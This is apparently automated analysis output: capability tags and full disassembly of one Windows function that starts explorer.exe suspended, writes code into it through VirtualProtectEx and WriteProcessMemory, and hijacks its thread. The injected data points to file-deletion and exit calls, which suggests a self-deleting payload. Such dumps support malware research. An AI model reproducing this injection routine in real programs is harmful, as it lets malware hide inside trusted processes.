Function at 0x40d22b
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get common file path
Resume thread
Set current directory

Disassembly:
push ebp
lea ebp, [esp - 0x11ac]
mov eax, 0x11ac
call fcn.00465b30
push 0xffffffffffffffff
push 0x49d9a4
mov eax, dword fs:[0]
push eax
sub esp, 0x6c
mov eax, dword [0x4d6080]
xor eax, ebp
mov dword [ebp + 0x11a8], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edi, edi
inc edi
push edi
lea eax, [ebp - 0xd]
push eax
lea ecx, [ebp + 0xf38]
call fcn.00401f90
xor esi, esi
mov dword [ebp - 4], esi
mov ebx, 0x104
push ebx
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp + 0xf38]
call fcn.0040b2f1
mov byte [ebp - 4], 1
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.00407803
mov eax, dword [eax]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.0040b14b
push esi
push esi
lea eax, [ebp + 0xf04]
push eax
lea ecx, [ebp + 0xf38]
call fcn.0040a7c0
mov byte [ebp - 4], 2
push 0xc
sub esp, 0x34
mov ecx, esp
mov dword [ebp - 0x24], esp
push edi
lea eax, [ebp + 0xf38]
push eax
call fcn.004091ca
mov byte [ebp - 4], 3
mov byte [ebp - 4], 2
call fcn.0044cef2
add esp, 0x38
test al, al
jne 0x40d376
cmp byte [ebp + 0x11b4], al
je 0x40d331
push 0xc
sub esp, 0x34
mov ecx, esp
mov dword [ebp - 0x24], esp
push edi
lea eax, [ebp + 0xf04]
push eax
call fcn.004091ca
mov byte [ebp - 4], 4
mov byte [ebp - 4], 2
call fcn.0044cef2
add esp, 0x38
test al, al
jne 0x40d376
mov bl, 1
mov byte [ebp - 4], 0
lea ecx, [ebp + 0xf04]
call fcn.004016d0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xf38]
call fcn.004016d0
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x11a8]
xor ecx, ebp
call fcn.004646d1
add ebp, 0x11ac
leave
ret
push edi
lea eax, [ebp - 0xd]
push eax
lea ecx, [ebp + 0xf6c]
call fcn.00401f90
mov byte [ebp - 4], 5
push ebx
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp + 0xf6c]
call fcn.0040b2f1
mov byte [ebp - 4], 6
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.00407803
mov eax, dword [eax]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x30]
call fcn.0040b14b
cmp dword [ebp + 0xf84], esi
je 0x40d3e3
cmp dword [ebp + 0xf88], 8
mov eax, dword [ebp + 0xf74]
jae 0x40d3dc
lea eax, [ebp + 0xf74]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 6
pop ecx
mov esi, str.explorer.exe
lea edi, [ebp + 0xfa0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x1ee
xor esi, esi
lea eax, [ebp + 0xfba]
push esi
push eax
call fcn.00465a70
push 0x44
pop edi
push 0x40
lea eax, [ebp - 0x74]
push esi
push eax
mov dword [ebp - 0x78], edi
call fcn.00465a70
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x78]
push eax
push esi
push esi
push edi
push esi
push esi
push esi
lea eax, [ebp + 0xfa0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40d454
mov byte [ebp - 4], 2
lea ecx, [ebp + 0xf6c]
call fcn.004016d0
xor bl, bl
jmp 0x40d333
push 0xc31
lea eax, [ebp + 4]
push esi
push eax
mov dword [ebp], esi
call fcn.00465a70
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp + 0x808], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp + 0x810], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp + 0x814], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp + 0x818], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp + 0x81c], eax
mov al, byte [ebp + 0x11b4]
add esp, 0xc
cmp dword [ebp + 0xf54], 8
mov byte [ebp + 0x824], al
mov eax, dword [ebp + 0xf40]
mov dword [ebp + 0x80c], edi
jae 0x40d4cd
lea eax, [ebp + 0xf40]
push ebx
push eax
lea eax, [ebp + 0x825]
push eax
call fcn.00465ec5
add esp, 0xc
cmp byte [ebp + 0x11b4], 0
je 0x40d50d
cmp dword [ebp + 0xf20], 8
mov eax, dword [ebp + 0xf0c]
jae 0x40d4fc
lea eax, [ebp + 0xf0c]
push ebx
push eax
lea eax, [ebp + 0xa2d]
push eax
call fcn.00465ec5
add esp, 0xc
push esi
push esi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea eax, [ebp + 0x804]
push eax
push dword [ebp - 0x20]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, 0x40ccd1
mov eax, 0x40cc3c
sub ecx, eax
cmp ecx, 0x800
ja 0x40d43e
push ecx
push eax
lea eax, [ebp + 4]
push eax
call fcn.00465b60
add esp, 0xc
lea eax, [ebp + 0xc38]
push eax
push dword [ebp - 0x1c]
mov dword [ebp + 0xc38], 0x10003
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov esi, dword [ebp + 0xcfc]
add esi, 0xfffff3cb
and esi, 0xffffffe0
lea eax, [esi - 4]
mov dword [ebp + 0xcfc], eax
lea eax, [esi + 4]
mov dword [ebp + 0xcf0], eax
lea eax, [ebp - 0x34]
push eax
push 0x40
mov ebx, 0xc35
push ebx
push esi
push dword [ebp - 0x20]
mov dword [ebp], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push ebx
lea eax, [ebp]
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp + 0xc38]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x20]
call edi
mov byte [ebp - 4], 2
lea ecx, [ebp + 0xf6c]
call fcn.004016d0
jmp 0x40d331